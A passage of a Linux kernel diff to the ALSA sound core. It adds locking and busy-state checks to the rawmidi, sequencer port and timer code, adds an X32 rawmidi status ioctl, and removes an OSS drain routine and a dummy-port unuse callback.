count1; - runtime->appl_ptr %= runtime->buffer_size; - runtime->avail -= count1; - spin_unlock_irqrestore(&runtime->lock, flags); result += count1; count -= count1; } + spin_unlock_irqrestore(&runtime->lock, flags); return result; } @@ -1161,8 +1166,9 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream, unsigned long flags; long count1, result; struct snd_rawmidi_runtime *runtime = substream->runtime; + unsigned long appl_ptr; - if (snd_BUG_ON(!kernelbuf && !userbuf)) + if (!kernelbuf && !userbuf) return -EINVAL; if (snd_BUG_ON(!runtime->buffer)) return -EINVAL; @@ -1181,12 +1187,19 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream, count1 = count; if (count1 > (long)runtime->avail) count1 = runtime->avail; + + /* update runtime->appl_ptr before unlocking for userbuf */ + appl_ptr = runtime->appl_ptr; + runtime->appl_ptr += count1; + runtime->appl_ptr %= runtime->buffer_size; + runtime->avail -= count1; + if (kernelbuf) - memcpy(runtime->buffer + runtime->appl_ptr, + memcpy(runtime->buffer + appl_ptr, kernelbuf + result, count1); else if (userbuf) { spin_unlock_irqrestore(&runtime->lock, flags); - if (copy_from_user(runtime->buffer + runtime->appl_ptr, + if (copy_from_user(runtime->buffer + appl_ptr, userbuf + result, count1)) { spin_lock_irqsave(&runtime->lock, flags); result = result > 0 ? result : -EFAULT; @@ -1194,9 +1207,6 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream, } spin_lock_irqsave(&runtime->lock, flags); } - runtime->appl_ptr += count1; - runtime->appl_ptr %= runtime->buffer_size; - runtime->avail -= count1; result += count1; count -= count1; } diff --git a/sound/core/rawmidi_compat.c b/sound/core/rawmidi_compat.c index 5268c1f58c25b..09a89094dcf72 100644 --- a/sound/core/rawmidi_compat.c +++ b/sound/core/rawmidi_compat.c @@ -94,9 +94,58 @@ static int snd_rawmidi_ioctl_status_compat(struct snd_rawmidi_file *rfile, return 0; } +#ifdef CONFIG_X86_X32 +/* X32 ABI has 64bit timespec and 64bit alignment */ +struct snd_rawmidi_status_x32 { + s32 stream; + u32 rsvd; /* alignment */ + struct timespec tstamp; + u32 avail; + u32 xruns; + unsigned char reserved[16]; +} __attribute__((packed)); + +#define put_timespec(src, dst) copy_to_user(dst, src, sizeof(*dst)) + +static int snd_rawmidi_ioctl_status_x32(struct snd_rawmidi_file *rfile, + struct snd_rawmidi_status_x32 __user *src) +{ + int err; + struct snd_rawmidi_status status; + + if (rfile->output == NULL) + return -EINVAL; + if (get_user(status.stream, &src->stream)) + return -EFAULT; + + switch (status.stream) { + case SNDRV_RAWMIDI_STREAM_OUTPUT: + err = snd_rawmidi_output_status(rfile->output, &status); + break; + case SNDRV_RAWMIDI_STREAM_INPUT: + err = snd_rawmidi_input_status(rfile->input, &status); + break; + default: + return -EINVAL; + } + if (err < 0) + return err; + + if (put_timespec(&status.tstamp, &src->tstamp) || + put_user(status.avail, &src->avail) || + put_user(status.xruns, &src->xruns)) + return -EFAULT; + + return 0; +} +#endif /* CONFIG_X86_X32 */ + enum { SNDRV_RAWMIDI_IOCTL_PARAMS32 = _IOWR('W', 0x10, struct snd_rawmidi_params32), SNDRV_RAWMIDI_IOCTL_STATUS32 = _IOWR('W', 0x20, struct snd_rawmidi_status32), +#ifdef CONFIG_X86_X32 + SNDRV_RAWMIDI_IOCTL_STATUS_X32 = _IOWR('W', 0x20, struct snd_rawmidi_status_x32), +#endif /* CONFIG_X86_X32 */ }; static long snd_rawmidi_ioctl_compat(struct file *file, unsigned int cmd, unsigned long arg) @@ -115,6 +164,10 @@ static long snd_rawmidi_ioctl_compat(struct file *file, unsigned int cmd, unsign return snd_rawmidi_ioctl_params_compat(rfile, argp); case SNDRV_RAWMIDI_IOCTL_STATUS32: return snd_rawmidi_ioctl_status_compat(rfile, argp); +#ifdef CONFIG_X86_X32 + case SNDRV_RAWMIDI_IOCTL_STATUS_X32: + return snd_rawmidi_ioctl_status_x32(rfile, argp); +#endif /* CONFIG_X86_X32 */ } return -ENOIOCTLCMD; } diff --git a/sound/core/seq/oss/seq_oss.c b/sound/core/seq/oss/seq_oss.c index 8d4d5e853efec..ab774954c9850 100644 --- a/sound/core/seq/oss/seq_oss.c +++ b/sound/core/seq/oss/seq_oss.c @@ -150,8 +150,6 @@ odev_release(struct inode *inode, struct file *file) if ((dp = file->private_data) == NULL) return 0; - snd_seq_oss_drain_write(dp); - mutex_lock(®ister_mutex); snd_seq_oss_release(dp); mutex_unlock(®ister_mutex); diff --git a/sound/core/seq/oss/seq_oss_device.h b/sound/core/seq/oss/seq_oss_device.h index c0154a959d553..2464112b08ada 100644 --- a/sound/core/seq/oss/seq_oss_device.h +++ b/sound/core/seq/oss/seq_oss_device.h @@ -131,7 +131,6 @@ int snd_seq_oss_write(struct seq_oss_devinfo *dp, const char __user *buf, int co unsigned int snd_seq_oss_poll(struct seq_oss_devinfo *dp, struct file *file, poll_table * wait); void snd_seq_oss_reset(struct seq_oss_devinfo *dp); -void snd_seq_oss_drain_write(struct seq_oss_devinfo *dp); /* */ void snd_seq_oss_process_queue(struct seq_oss_devinfo *dp, abstime_t time); diff --git a/sound/core/seq/oss/seq_oss_init.c b/sound/core/seq/oss/seq_oss_init.c index b3f39b5ed7423..f9e09e4582278 100644 --- a/sound/core/seq/oss/seq_oss_init.c +++ b/sound/core/seq/oss/seq_oss_init.c @@ -456,23 +456,6 @@ snd_seq_oss_release(struct seq_oss_devinfo *dp) } -/* - * Wait until the queue is empty (if we don't have nonblock) - */ -void -snd_seq_oss_drain_write(struct seq_oss_devinfo *dp) -{ - if (! dp->timer->running) - return; - if (is_write_mode(dp->file_mode) && !is_nonblock_mode(dp->file_mode) && - dp->writeq) { - debug_printk(("syncing..\n")); - while (snd_seq_oss_writeq_sync(dp->writeq)) - ; - } -} - - /* * reset sequencer devices */ diff --git a/sound/core/seq/oss/seq_oss_synth.c b/sound/core/seq/oss/seq_oss_synth.c index c5b773a1eea93..4a09c3085ca42 100644 --- a/sound/core/seq/oss/seq_oss_synth.c +++ b/sound/core/seq/oss/seq_oss_synth.c @@ -310,7 +310,7 @@ snd_seq_oss_synth_cleanup(struct seq_oss_devinfo *dp) struct seq_oss_synth *rec; struct seq_oss_synthinfo *info; - if (snd_BUG_ON(dp->max_synthdev >= SNDRV_SEQ_OSS_MAX_SYNTH_DEVS)) + if (snd_BUG_ON(dp->max_synthdev > SNDRV_SEQ_OSS_MAX_SYNTH_DEVS)) return; for (i = 0; i < dp->max_synthdev; i++) { info = &dp->synths[i]; diff --git a/sound/core/seq/seq_clientmgr.c b/sound/core/seq/seq_clientmgr.c index 4dc6bae80e15b..08865dcbf5f19 100644 --- a/sound/core/seq/seq_clientmgr.c +++ b/sound/core/seq/seq_clientmgr.c @@ -678,6 +678,9 @@ static int deliver_to_subscribers(struct snd_seq_client *client, else down_read(&grp->list_mutex); list_for_each_entry(subs, &grp->list_head, src_list) { + /* both ports ready? */ + if (atomic_read(&subs->ref_count) != 2) + continue; event->dest = subs->info.dest; if (subs->info.flags & SNDRV_SEQ_PORT_SUBS_TIMESTAMP) /* convert time according to flag with subscription */ @@ -1950,7 +1953,7 @@ static int snd_seq_ioctl_remove_events(struct snd_seq_client *client, * No restrictions so for a user client we can clear * the whole fifo */ - if (client->type == USER_CLIENT) + if (client->type == USER_CLIENT && client->data.user.fifo) snd_seq_fifo_clear(client->data.user.fifo); } diff --git a/sound/core/seq/seq_compat.c b/sound/core/seq/seq_compat.c index 81f7c109dc46e..65175902a68a8 100644 --- a/sound/core/seq/seq_compat.c +++ b/sound/core/seq/seq_compat.c @@ -49,11 +49,12 @@ static int snd_seq_call_port_info_ioctl(struct snd_seq_client *client, unsigned struct snd_seq_port_info *data; mm_segment_t fs; - data = memdup_user(data32, sizeof(*data32)); - if (IS_ERR(data)) - return PTR_ERR(data); + data = kmalloc(sizeof(*data), GFP_KERNEL); + if (!data) + return -ENOMEM; - if (get_user(data->flags, &data32->flags) || + if (copy_from_user(data, data32, sizeof(*data32)) || + get_user(data->flags, &data32->flags) || get_user(data->time_queue, &data32->time_queue)) goto error; data->kernel = NULL; diff --git a/sound/core/seq/seq_dummy.c b/sound/core/seq/seq_dummy.c index dbc5507167908..f60d81497f282 100644 --- a/sound/core/seq/seq_dummy.c +++ b/sound/core/seq/seq_dummy.c @@ -81,36 +81,6 @@ struct snd_seq_dummy_port { static int my_client = -1; -/* - * unuse callback - send ALL_SOUNDS_OFF and RESET_CONTROLLERS events - * to subscribers. - * Note: this callback is called only after all subscribers are removed. - */ -static int -dummy_unuse(void *private_data, struct snd_seq_port_subscribe *info) -{ - struct snd_seq_dummy_port *p; - int i; - struct snd_seq_event ev; - - p = private_data; - memset(&ev, 0, sizeof(ev)); - if (p->duplex) - ev.source.port = p->connect; - else - ev.source.port = p->port; - ev.dest.client = SNDRV_SEQ_ADDRESS_SUBSCRIBERS; - ev.type = SNDRV_SEQ_EVENT_CONTROLLER; - for (i = 0; i < 16; i++) { - ev.data.control.channel = i; - ev.data.control.param = MIDI_CTL_ALL_SOUNDS_OFF; - snd_seq_kernel_client_dispatch(p->client, &ev, 0, 0); - ev.data.control.param = MIDI_CTL_RESET_CONTROLLERS; - snd_seq_kernel_client_dispatch(p->client, &ev, 0, 0); - } - return 0; -} - /* * event input callback - just redirect events to subscribers */ @@ -175,7 +145,6 @@ create_port(int idx, int type) | SNDRV_SEQ_PORT_TYPE_PORT; memset(&pcb, 0, sizeof(pcb)); pcb.owner = THIS_MODULE; - pcb.unuse = dummy_unuse; pcb.event_input = dummy_input; pcb.private_free = dummy_free; pcb.private_data = rec; diff --git a/sound/core/seq/seq_ports.c b/sound/core/seq/seq_ports.c index 9516e5ce3aadd..ee0522a8f730e 100644 --- a/sound/core/seq/seq_ports.c +++ b/sound/core/seq/seq_ports.c @@ -175,10 +175,6 @@ struct snd_seq_client_port *snd_seq_create_port(struct snd_seq_client *client, } /* */ -enum group_type { - SRC_LIST, DEST_LIST -}; - static int subscribe_port(struct snd_seq_client *client, struct snd_seq_client_port *port, struct snd_seq_port_subs_info *grp, @@ -205,6 +201,20 @@ static struct snd_seq_client_port *get_client_port(struct snd_seq_addr *addr, return NULL; } +static void delete_and_unsubscribe_port(struct snd_seq_client *client, + struct snd_seq_client_port *port, + struct snd_seq_subscribers *subs, + bool is_src, bool ack); + +static inline struct snd_seq_subscribers * +get_subscriber(struct list_head *p, bool is_src) +{ + if (is_src) + return list_entry(p, struct snd_seq_subscribers, src_list); + else + return list_entry(p, struct snd_seq_subscribers, dest_list); +} + /* * remove all subscribers on the list * this is called from port_delete, for each src and dest list. @@ -212,7 +222,7 @@ static struct snd_seq_client_port *get_client_port(struct snd_seq_addr *addr, static void clear_subscriber_list(struct snd_seq_client *client, struct snd_seq_client_port *port, struct snd_seq_port_subs_info *grp, - int grptype) + int is_src) { struct list_head *p, *n; @@ -221,15 +231,13 @@ static void clear_subscriber_list(struct snd_seq_client *client, struct snd_seq_client *c; struct snd_seq_client_port *aport; - if (grptype == SRC_LIST) { - subs = list_entry(p, struct snd_seq_subscribers, src_list); + subs = get_subscriber(p, is_src); + if (is_src) aport = get_client_port(&subs->info.dest, &c); - } else { - subs = list_entry(p, struct snd_seq_subscribers, dest_list); + else aport = get_client_port(&subs->info.sender, &c); - } - list_del(p); - unsubscribe_port(client, port, grp, &subs->info, 0); + delete_and_unsubscribe_port(client, port, subs, is_src, false); + if (!aport) { /* looks like the connected port is being deleted. * we decrease the counter, and when both ports are deleted @@ -237,21 +245,14 @@ static void clear_subscriber_list(struct snd_seq_client *client, */ if (atomic_dec_and_test(&subs->ref_count)) kfree(subs); - } else { - /* ok we got the connected port */ - struct snd_seq_port_subs_info *agrp; - agrp = (grptype == SRC_LIST) ? &aport->c_dest : &aport->c_src; - down_write(&agrp->list_mutex); - if (grptype == SRC_LIST) - list_del(&subs->dest_list); - else - list_del(&subs->src_list); - up_write(&agrp->list_mutex); - unsubscribe_port(c, aport, agrp, &subs->info, 1); - kfree(subs); - snd_seq_port_unlock(aport); - snd_seq_client_unlock(c); + continue; } + + /* ok we got the connected port */ + delete_and_unsubscribe_port(c, aport, subs, !is_src, true); + kfree(subs); + snd_seq_port_unlock(aport); + snd_seq_client_unlock(c); } } @@ -264,8 +265,8 @@ static int port_delete(struct snd_seq_client *client, snd_use_lock_sync(&port->use_lock); /* clear subscribers info */ - clear_subscriber_list(client, port, &port->c_src, SRC_LIST); - clear_subscriber_list(client, port, &port->c_dest, DEST_LIST); + clear_subscriber_list(client, port, &port->c_src, true); + clear_subscriber_list(client, port, &port->c_dest, false); if (port->private_free) port->private_free(port->private_data); @@ -484,85 +485,123 @@ static int match_subs_info(struct snd_seq_port_subscribe *r, return 0; } - -/* connect two ports */ -int snd_seq_port_connect(struct snd_seq_client *connector, - struct snd_seq_client *src_client, - struct snd_seq_client_port *src_port, - struct snd_seq_client *dest_client, - struct snd_seq_client_port *dest_port, - struct snd_seq_port_subscribe *info) +static int check_and_subscribe_port(struct snd_seq_client *client, + struct snd_seq_client_port *port, + struct snd_seq_subscribers *subs, + bool is_src, bool exclusive, bool ack) { - struct snd_seq_port_subs_info *src = &src_port->c_src; - struct snd_seq_port_subs_info *dest = &dest_port->c_dest; - struct snd_seq_subscribers *subs, *s; - int err, src_called = 0; - unsigned long flags; - int exclusive; - - subs = kzalloc(sizeof(*subs), GFP_KERNEL); - if (! subs) - return -ENOMEM; - - subs->info = *info; - atomic_set(&subs->ref_count, 2); + struct snd_seq_port_subs_info *grp; + struct list_head *p; + struct snd_seq_subscribers *s; + int err; - down_write(&src->list_mutex); - down_write_nested(&dest->list_mutex, SINGLE_DEPTH_NESTING); - - exclusive = info->flags & SNDRV_SEQ_PORT_SUBS_EXCLUSIVE ? 1 : 0; + grp = is_src ? &port->c_src : &port->c_dest; err = -EBUSY; + down_write(&grp->list_mutex); if (exclusive) { - if (! list_empty(&src->list_head) || ! list_empty(&dest->list_head)) + if (!list_empty(&grp->list_head)) goto __error; } else { - if (src->exclusive || dest->exclusive) + if (grp->exclusive) goto __error; /* check whether already exists */ - list_for_each_entry(s, &src->list_head, src_list) { - if (match_subs_info(info, &s->info)) - goto __error; - } - list_for_each_entry(s, &dest->list_head, dest_list) { - if (match_subs_info(info, &s->info)) + list_for_each(p, &grp->list_head) { + s = get_subscriber(p, is_src); + if (match_subs_info(&subs->info, &s->info)) goto __error; } } - if ((err = subscribe_port(src_client, src_port, src, info, - connector->number != src_client->number)) < 0) - goto __error; - src_called = 1; - - if ((err = subscribe_port(dest_client, dest_port, dest, info, - connector->number != dest_client->number)) < 0) + err = subscribe_port(client, port, grp, &subs->info, ack); + if (err < 0) { + grp->exclusive = 0; goto __error; + } /* add to list */ - write_lock_irqsave(&src->list_lock, flags); - // write_lock(&dest->list_lock); // no other lock yet - list_add_tail(&subs->src_list, &src->list_head); - list_add_tail(&subs->dest_list, &dest->list_head); - // write_unlock(&dest->list_lock); // no other lock yet - write_unlock_irqrestore(&src->list_lock, flags); + write_lock_irq(&grp->list_lock); + if (is_src) + list_add_tail(&subs->src_list, &grp->list_head); + else + list_add_tail(&subs->dest_list, &grp->list_head); + grp->exclusive = exclusive; + atomic_inc(&subs->ref_count); + write_unlock_irq(&grp->list_lock); + err = 0; - src->exclusive = dest->exclusive = exclusive; + __error: + up_write(&grp->list_mutex); + return err; +} + +static void delete_and_unsubscribe_port(struct snd_seq_client *client, + struct snd_seq_client_port *port, + struct snd_seq_subscribers *subs, + bool is_src, bool ack) +{ + struct snd_seq_port_subs_info *grp; + struct list_head *list; + bool empty; + + grp = is_src ? &port->c_src : &port->c_dest; + list = is_src ? &subs->src_list : &subs->dest_list; + down_write(&grp->list_mutex); + write_lock_irq(&grp->list_lock); + empty = list_empty(list); + if (!empty) + list_del_init(list); + grp->exclusive = 0; + write_unlock_irq(&grp->list_lock); + up_write(&grp->list_mutex); + + if (!empty) + unsubscribe_port(client, port, grp, &subs->info, ack); +} + +/* connect two ports */ +int snd_seq_port_connect(struct snd_seq_client *connector, + struct snd_seq_client *src_client, + struct snd_seq_client_port *src_port, + struct snd_seq_client *dest_client, + struct snd_seq_client_port *dest_port, + struct snd_seq_port_subscribe *info) +{ + struct snd_seq_subscribers *subs; + bool exclusive; + int err; + + subs = kzalloc(sizeof(*subs), GFP_KERNEL); + if (!subs) + return -ENOMEM; + + subs->info = *info; + atomic_set(&subs->ref_count, 0); + INIT_LIST_HEAD(&subs->src_list); + INIT_LIST_HEAD(&subs->dest_list); + + exclusive = !!(info->flags & SNDRV_SEQ_PORT_SUBS_EXCLUSIVE); + + err = check_and_subscribe_port(src_client, src_port, subs, true, + exclusive, + connector->number != src_client->number); + if (err < 0) + goto error; + err = check_and_subscribe_port(dest_client, dest_port, subs, false, + exclusive, + connector->number != dest_client->number); + if (err < 0) + goto error_dest; - up_write(&dest->list_mutex); - up_write(&src->list_mutex); return 0; - __error: - if (src_called) - unsubscribe_port(src_client, src_port, src, info, - connector->number != src_client->number); + error_dest: + delete_and_unsubscribe_port(src_client, src_port, subs, true, + connector->number != src_client->number); + error: kfree(subs); - up_write(&dest->list_mutex); - up_write(&src->list_mutex); return err; } - /* remove the connection */ int snd_seq_port_disconnect(struct snd_seq_client *connector, struct snd_seq_client *src_client, @@ -572,37 +611,28 @@ int snd_seq_port_disconnect(struct snd_seq_client *connector, struct snd_seq_port_subscribe *info) { struct snd_seq_port_subs_info *src = &src_port->c_src; - struct snd_seq_port_subs_info *dest = &dest_port->c_dest; struct snd_seq_subscribers *subs; int err = -ENOENT; - unsigned long flags; down_write(&src->list_mutex); - down_write_nested(&dest->list_mutex, SINGLE_DEPTH_NESTING); - /* look for the connection */ list_for_each_entry(subs, &src->list_head, src_list) { if (match_subs_info(info, &subs->info)) { - write_lock_irqsave(&src->list_lock, flags); - // write_lock(&dest->list_lock); // no lock yet - list_del(&subs->src_list); - list_del(&subs->dest_list); - // write_unlock(&dest->list_lock); - write_unlock_irqrestore(&src->list_lock, flags); - src->exclusive = dest->exclusive = 0; - unsubscribe_port(src_client, src_port, src, info, - connector->number != src_client->number); - unsubscribe_port(dest_client, dest_port, dest, info, - connector->number != dest_client->number); - kfree(subs); + atomic_dec(&subs->ref_count); /* mark as not ready */ err = 0; break; } } - - up_write(&dest->list_mutex); up_write(&src->list_mutex); - return err; + if (err < 0) + return err; + + delete_and_unsubscribe_port(src_client, src_port, subs, true, + connector->number != src_client->number); + delete_and_unsubscribe_port(dest_client, dest_port, subs, false, + connector->number != dest_client->number); + kfree(subs); + return 0; } diff --git a/sound/core/seq/seq_timer.c b/sound/core/seq/seq_timer.c index 24d44b2f61acd..6ec30a98a92a0 100644 --- a/sound/core/seq/seq_timer.c +++ b/sound/core/seq/seq_timer.c @@ -92,6 +92,9 @@ void snd_seq_timer_delete(struct snd_seq_timer **tmr) void snd_seq_timer_defaults(struct snd_seq_timer * tmr) { + unsigned long flags; + + spin_lock_irqsave(&tmr->lock, flags); /* setup defaults */ tmr->ppq = 96; /* 96 PPQ */ tmr->tempo = 500000; /* 120 BPM */ @@ -107,21 +110,25 @@ void snd_seq_timer_defaults(struct snd_seq_timer * tmr) tmr->preferred_resolution = seq_default_timer_resolution; tmr->skew = tmr->skew_base = SKEW_BASE; + spin_unlock_irqrestore(&tmr->lock, flags); } -void snd_seq_timer_reset(struct snd_seq_timer * tmr) +static void seq_timer_reset(struct snd_seq_timer *tmr) { - unsigned long flags; - - spin_lock_irqsave(&tmr->lock, flags); - /* reset time & songposition */ tmr->cur_time.tv_sec = 0; tmr->cur_time.tv_nsec = 0; tmr->tick.cur_tick = 0; tmr->tick.fraction = 0; +} + +void snd_seq_timer_reset(struct snd_seq_timer *tmr) +{ + unsigned long flags; + spin_lock_irqsave(&tmr->lock, flags); + seq_timer_reset(tmr); spin_unlock_irqrestore(&tmr->lock, flags); } @@ -140,8 +147,11 @@ static void snd_seq_timer_interrupt(struct snd_timer_instance *timeri, tmr = q->timer; if (tmr == NULL) return; - if (!tmr->running) + spin_lock_irqsave(&tmr->lock, flags); + if (!tmr->running) { + spin_unlock_irqrestore(&tmr->lock, flags); return; + } resolution *= ticks; if (tmr->skew != tmr->skew_base) { @@ -150,8 +160,6 @@ static void snd_seq_timer_interrupt(struct snd_timer_instance *timeri, (((resolution & 0xffff) * tmr->skew) >> 16); } - spin_lock_irqsave(&tmr->lock, flags); - /* update timer */ snd_seq_inc_time_nsec(&tmr->cur_time, resolution); @@ -298,26 +306,30 @@ int snd_seq_timer_open(struct snd_seq_queue *q) t->callback = snd_seq_timer_interrupt; t->callback_data = q; t->flags |= SNDRV_TIMER_IFLG_AUTO; + spin_lock_irq(&tmr->lock); tmr->timeri = t; + spin_unlock_irq(&tmr->lock); return 0; } int snd_seq_timer_close(struct snd_seq_queue *q) { struct snd_seq_timer *tmr; + struct snd_timer_instance *t; tmr = q->timer; if (snd_BUG_ON(!tmr)) return -EINVAL; - if (tmr->timeri) { - snd_timer_stop(tmr->timeri); - snd_timer_close(tmr->timeri); - tmr->timeri = NULL; - } + spin_lock_irq(&tmr->lock); + t = tmr->timeri; + tmr->timeri = NULL; + spin_unlock_irq(&tmr->lock); + if (t) + snd_timer_close(t); return 0; } -int snd_seq_timer_stop(struct snd_seq_timer * tmr) +static int seq_timer_stop(struct snd_seq_timer *tmr) { if (! tmr->timeri) return -EINVAL; @@ -328,6 +340,17 @@ int snd_seq_timer_stop(struct snd_seq_timer * tmr) return 0; } +int snd_seq_timer_stop(struct snd_seq_timer *tmr) +{ + unsigned long flags; + int err; + + spin_lock_irqsave(&tmr->lock, flags); + err = seq_timer_stop(tmr); + spin_unlock_irqrestore(&tmr->lock, flags); + return err; +} + static int initialize_timer(struct snd_seq_timer *tmr) { struct snd_timer *t; @@ -360,13 +383,13 @@ static int initialize_timer(struct snd_seq_timer *tmr) return 0; } -int snd_seq_timer_start(struct snd_seq_timer * tmr) +static int seq_timer_start(struct snd_seq_timer *tmr) { if (! tmr->timeri) return -EINVAL; if (tmr->running) - snd_seq_timer_stop(tmr); - snd_seq_timer_reset(tmr); + seq_timer_stop(tmr); + seq_timer_reset(tmr); if (initialize_timer(tmr) < 0) return -EINVAL; snd_timer_start(tmr->timeri, tmr->ticks); @@ -375,14 +398,25 @@ int snd_seq_timer_start(struct snd_seq_timer * tmr) return 0; } -int snd_seq_timer_continue(struct snd_seq_timer * tmr) +int snd_seq_timer_start(struct snd_seq_timer *tmr) +{ + unsigned long flags; + int err; + + spin_lock_irqsave(&tmr->lock, flags); + err = seq_timer_start(tmr); + spin_unlock_irqrestore(&tmr->lock, flags); + return err; +} + +static int seq_timer_continue(struct snd_seq_timer *tmr) { if (! tmr->timeri) return -EINVAL; if (tmr->running) return -EBUSY; if (! tmr->initialized) { - snd_seq_timer_reset(tmr); + seq_timer_reset(tmr); if (initialize_timer(tmr) < 0) return -EINVAL; } @@ -392,11 +426,24 @@ int snd_seq_timer_continue(struct snd_seq_timer * tmr) return 0; } +int snd_seq_timer_continue(struct snd_seq_timer *tmr) +{ + unsigned long flags; + int err; + + spin_lock_irqsave(&tmr->lock, flags); + err = seq_timer_continue(tmr); + spin_unlock_irqrestore(&tmr->lock, flags); + return err; +} + /* return current 'real' time. use timeofday() to get better granularity. */ snd_seq_real_time_t snd_seq_timer_get_cur_time(struct snd_seq_timer *tmr) { snd_seq_real_time_t cur_time; + unsigned long flags; + spin_lock_irqsave(&tmr->lock, flags); cur_time = tmr->cur_time; if (tmr->running) { struct timeval tm; @@ -412,7 +459,7 @@ snd_seq_real_time_t snd_seq_timer_get_cur_time(struct snd_seq_timer *tmr) } snd_seq_sanity_real_time(&cur_time); } - + spin_unlock_irqrestore(&tmr->lock, flags); return cur_time; } diff --git a/sound/core/seq/seq_virmidi.c b/sound/core/seq/seq_virmidi.c index 4b50e604276d8..0fa691e013849 100644 --- a/sound/core/seq/seq_virmidi.c +++ b/sound/core/seq/seq_virmidi.c @@ -254,9 +254,13 @@ static int snd_virmidi_output_open(struct snd_rawmidi_substream *substream) */ static int snd_virmidi_input_close(struct snd_rawmidi_substream *substream) { + struct snd_virmidi_dev *rdev = substream->rmidi->private_data; struct snd_virmidi *vmidi = substream->runtime->private_data; - snd_midi_event_free(vmidi->parser); + + write_lock_irq(&rdev->filelist_lock); list_del(&vmidi->list); + write_unlock_irq(&rdev->filelist_lock); + snd_midi_event_free(vmidi->parser); substream->runtime->private_data = NULL; kfree(vmidi); return 0; diff --git a/sound/core/timer.c b/sound/core/timer.c index b9cbf2010acf0..3476895ee1fb0 100644 --- a/sound/core/timer.c +++ b/sound/core/timer.c @@ -300,8 +300,7 @@ int snd_timer_open(struct snd_timer_instance **ti, return 0; } -static int _snd_timer_stop(struct snd_timer_instance *timeri, - int keep_flag, int event); +static int _snd_timer_stop(struct snd_timer_instance *timeri, int event); /* * close a timer instance @@ -343,7 +342,7 @@ int snd_timer_close(struct snd_timer_instance *timeri) spin_unlock_irq(&timer->lock); mutex_lock(®ister_mutex); list_del(&timeri->open_list); - if (timer && list_empty(&timer->open_list_head) && + if (list_empty(&timer->open_list_head) && timer->hw.close) timer->hw.close(timer); /* remove slave links */ @@ -415,7 +414,7 @@ static void snd_timer_notify1(struct snd_timer_instance *ti, int event) spin_lock_irqsave(&timer->lock, flags); list_for_each_entry(ts, &ti->slave_active_head, active_list) if (ts->ccallback) - ts->ccallback(ti, event + 100, &tstamp, resolution); + ts->ccallback(ts, event + 100, &tstamp, resolution); spin_unlock_irqrestore(&timer->lock, flags); } @@ -444,6 +443,10 @@ static int snd_timer_start_slave(struct snd_timer_instance *timeri) unsigned long flags; spin_lock_irqsave(&slave_active_lock, flags); + if (timeri->flags & SNDRV_TIMER_IFLG_RUNNING) { + spin_unlock_irqrestore(&slave_active_lock, flags); + return -EBUSY; + } timeri->flags |= SNDRV_TIMER_IFLG_RUNNING; if (timeri->master && timeri->timer) { spin_lock(&timeri->timer->lock); @@ -468,23 +471,30 @@ int snd_timer_start(struct snd_timer_instance *timeri, unsigned int ticks) return -EINVAL; if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) { result = snd_timer_start_slave(timeri); - snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_START); + if (result >= 0) + snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_START); return result; } timer = timeri->timer; if (timer == NULL) return -EINVAL; spin_lock_irqsave(&timer->lock, flags); + if (timeri->flags & (SNDRV_TIMER_IFLG_RUNNING | + SNDRV_TIMER_IFLG_START)) { + result = -EBUSY; + goto unlock; + } timeri->ticks = timeri->cticks = ticks; timeri->pticks = 0; result = snd_timer_start1(timer, timeri, ticks); + unlock: spin_unlock_irqrestore(&timer->lock, flags); - snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_START); + if (result >= 0) + snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_START); return result; } -static int _snd_timer_stop(struct snd_timer_instance * timeri, - int keep_flag, int event) +static int _snd_timer_stop(struct snd_timer_instance *timeri, int event) { struct snd_timer *timer; unsigned long flags; @@ -493,19 +503,30 @@ static int _snd_timer_stop(struct snd_timer_instance * timeri, return -ENXIO; if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) { - if (!keep_flag) { - spin_lock_irqsave(&slave_active_lock, flags); - timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; - list_del_init(&timeri->ack_list); - list_del_init(&timeri->active_list); + spin_lock_irqsave(&slave_active_lock, flags); + if (!(timeri->flags & SNDRV_TIMER_IFLG_RUNNING)) { spin_unlock_irqrestore(&slave_active_lock, flags); + return -EBUSY; } + if (timeri->timer) + spin_lock(&timeri->timer->lock); + timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; + list_del_init(&timeri->ack_list); + list_del_init(&timeri->active_list); + if (timeri->timer) + spin_unlock(&timeri->timer->lock); + spin_unlock_irqrestore(&slave_active_lock, flags); goto __end; } timer = timeri->timer; if (!timer) return -EINVAL; spin_lock_irqsave(&timer->lock, flags); + if (!(timeri->flags & (SNDRV_TIMER_IFLG_RUNNING | + SNDRV_TIMER_IFLG_START))) { + spin_unlock_irqrestore(&timer->lock, flags); + return -EBUSY; + } list_del_init(&timeri->ack_list); list_del_init(&timeri->active_list); if ((timeri->flags & SNDRV_TIMER_IFLG_RUNNING) && @@ -520,9 +541,7 @@ static int _snd_timer_stop(struct snd_timer_instance * timeri, } } } - if (!keep_flag) - timeri->flags &= - ~(SNDRV_TIMER_IFLG_RUNNING | SNDRV_TIMER_IFLG_START); + timeri->flags &= ~(SNDRV_TIMER_IFLG_RUNNING | SNDRV_TIMER_IFLG_START); spin_unlock_irqrestore(&timer->lock, flags); __end: if (event != SNDRV_TIMER_EVENT_RESOLUTION) @@ -541,7 +560,7 @@ int snd_timer_stop(struct snd_timer_instance *timeri) unsigned long flags; int err; - err = _snd_timer_stop(timeri, 0, SNDRV_TIMER_EVENT_STOP); + err = _snd_timer_stop(timeri, SNDRV_TIMER_EVENT_STOP); if (err < 0) return err; timer = timeri->timer; @@ -571,10 +590,15 @@ int snd_timer_continue(struct snd_timer_instance *timeri) if (! timer) return -EINVAL; spin_lock_irqsave(&timer->lock, flags); + if (timeri->flags & SNDRV_TIMER_IFLG_RUNNING) { + result = -EBUSY; + goto unlock; + } if (!timeri->cticks) timeri->cticks = 1; timeri->pticks = 0; result = snd_timer_start1(timer, timeri, timer->sticks); + unlock: spin_unlock_irqrestore(&timer->lock, flags); snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_CONTINUE); return result; @@ -585,7 +609,7 @@ int snd_timer_continue(struct snd_timer_instance *timeri) */ int snd_timer_pause(struct snd_timer_instance * timeri) { - return _snd_timer_stop(timeri, 0, SNDRV_TIMER_EVENT_PAUSE); + return 